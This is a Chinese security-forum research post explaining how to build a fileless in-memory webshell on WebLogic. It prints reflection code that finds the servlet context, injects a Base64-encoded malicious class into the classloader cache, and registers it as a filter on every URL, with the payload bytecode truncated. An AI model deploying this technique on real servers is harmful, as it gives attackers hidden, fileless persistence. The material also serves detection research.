# weblogic 无文件webshell的技术研究

**URL:** <https://forum.90sec.com/t/topic/1136>\
**Category:** 宽字节安全\
**Created:** [2020 年6 月 19 日 09:42 UTC](https://forum.90sec.com/t/topic/1136 "2020-06-19T09:42:54Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![unicodeSec](https://forum.90sec.com/user_avatar/forum.90sec.com/unicodesec/32/6830_2.png) [@unicodeSec](https://forum.90sec.com/u/unicodeSec)\
发布日期： [2020 年6 月 19 日 09:42 UTC](https://forum.90sec.com/t/topic/1136/1 "2020-06-19T09:42:54Z")

</div>

# [weblogic 无文件webshell的技术研究](https://www.cnblogs.com/potatsoSec/p/13162792.html)

上篇文章中着重研究了tomcat的内存马以及实现方法。这篇文章主要研究了weblogic的内存马实现原理。在这里实现的原理与tomcat基本相同，同样使用动态注册Filter 的方式。下面分析一下weblogic在请求中是如何获取FilterChain。

### 以下分析基于 weblogic 12.2.1.4

## 0x01 weblogic FilterChain实现

创建一个Filter，随便打一个断点，观察此时的堆栈信息，如图  
 ![](https://potatso-1253210846.cos.ap-beijing.myqcloud.com//imgImageWLC2.png)

通过跟踪堆栈信息，我们可以找到，在wrapRun函数中，会判断系统中是否存在filter以及listener。如果存在，则获取FilterChain，然后依次调用Filter。原理与tomcat类似。相关代码如下

```
weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#wrapRun 函数

if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
    this.stub.execute(this.req, this.rsp);
} else {
    FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
    if (fc == null) {
        this.stub.execute(this.req, this.rsp);
    } else {
        fc.doFilter(this.req, this.rsp);
    }
}

```

而getFilterChain的代码在 weblogic.servlet.internal.FilterManager中。weblogic中主要使用FilterManager去管理系统中的Filter，包括动态注册一个Filter，获取FilterChain等。动态注册一个Filter的代码如下

```
    void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
        FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
        if (this.loadFilter(fw)) {
            EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
            if (urlPatterns != null) {
                this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
            }

            if (servletNames != null) {
                this.addMappingForServletNames(filterName, types, true, servletNames);
            }

            this.filters.put(filterName, fw);
        }
    }

```

## 0x02 内存马实现

技术难点主要有以下几点：

1. 怎么寻找FilterManager
2. weblogic中类加载器机制

### 1. 寻找FilterManager

weblogic中，context会存放FilterManager。所以，这个问题转换为如何获取context。有两种方法

#### pageContext

jsp页面中的pageContext对象中，存有context对象。可以通过反射获取。这种比较适合直接上传jsp文件获取webshell权限的情况。代码如下

```
        Field contextF = pageContext.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(pageContext);

```

#### 线程中

这种情况比较适合shiro，T3等反序列化漏洞，在无法上传文件，但是可以直接通过反序列化获取weblogic权限的情况。这种情况下不需要pageContext对象，在线程中查找context对象。代码如下

```
        Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
        Method m = executeThread.getDeclaredMethod("getCurrentWork");
        Object currentWork = m.invoke(Thread.currentThread());

        Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
        connectionHandlerF.setAccessible(true);
        Object obj = connectionHandlerF.get(currentWork);

        Field requestF = obj.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        obj = requestF.get(obj);

        Field contextF = obj.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(obj);

```

### 2. FilterWrapper中类加载器机制

这里只针对于加载Filter的情况去讨论。在FilterManager的registerFilter方法中，主要通过FilterWrapper类去包装Filter类。但是FilterWrapper类的构造函数中，并没有可以传递Class的参数，只可以传递ClassName，FilterManager通过ClassName去查找Class。下面我们分析一下实现过程

在FilterManager的loadFilter中，Filter将会在这里实例化。代码如下

```
weblogic.servlet.internal.FilterManager#loadFilter
boolean loadFilter(FilterWrapper filterWrapper) {
        String filterClassName = filterWrapper.getFilterClassName();
        filter = (Filter)this.context.createInstance(filterClassName);
        filterWrapper.setFilter((String)null, (Class)null, filter, false);
        }

```

在filterWrapper.getFilterClassName中获取FilterClass的名称，然后通过context的createInstance方法去实例化。下面是createInstance的代码

```
Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
    Class<?> clazz = this.classLoader.loadClass(className);
    return this.createInstance(clazz);
}

```

在这里通过调用classloader的loadClass方法去根据名称查找Class。我们知道weblogic自定义了一个classloader，所以我们继续深入loadCLass方法，代码如下

```
weblogic.utils.classloaders.ChangeAwareClassLoader#loadClass(java.lang.String, boolean)
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized(this.getClassLoadingLock(name)) {
        Class res = (Class)this.cachedClasses.get(name);
        if (res != null) {
            return res;
        } else if (!this.childFirst) {
            return super.loadClass(name, resolve);

```

我们可以看出，ChangeAwareClassLoader会首先从cache中查找是否存在待查找的类，如果存在，则直接返回该名称对应的Class。  
 ![](https://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20200619140552.png)  
所以我们为了使自己待动态加载的Filter可以被FilterManager成功查找，最简单的方法是在这个缓存中动手脚。代码如下

```
    /*
    第一步，将evilClass加载到classloader的cachedClasses中
     */
        Field classLoaderF = context.getClass().getDeclaredField("classLoader");
        classLoaderF.setAccessible(true);
        ClassLoader cl = (ClassLoader) classLoaderF.get(context);

        Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
        cachedClassesF.setAccessible(true);
        Object cachedClass = cachedClassesF.get(cl);

        Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
        if (getM.invoke(cachedClass, "bingxie") == null) {
            // 判断一下，防止多次加载恶意filter， 默认只加载一次，不需要重复加载
            BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
            String codeClass = "H4sIAAAAAAAAAKV..........";
            Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class evilFilterClass = (Class) defineClass.invoke(cl, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);

            // 在这里 恶意类名称为 bingxie filter 名称为test
            Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
            putM.invoke(cachedClass, "bingxie", evilFilterClass);

```

上面两个技术难点解决后，我们就可以向FilterManager中动态注册一个Filter。代码比较简单，如下

```
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
            Object filterManager = getFilterManagerM.invoke(context);

            Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
            // String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
            registerFilterM.setAccessible(true);
            registerFilterM.invoke(filterManager, "test", "bingxie", new String[]{"/*"}, null, null, null);

```

## 0x03 成果检验

![](https://potatso-1253210846.cos.ap-beijing.myqcloud.com//imgImagewlc3.png)

检查weblogic，无文件落地。重启weblogic后，webshell消失

 ![image](https://forum.90sec.com/uploads/default/original/2X/c/c61c217965b7c5ea8d0bd3013635046cdb977b24.png)
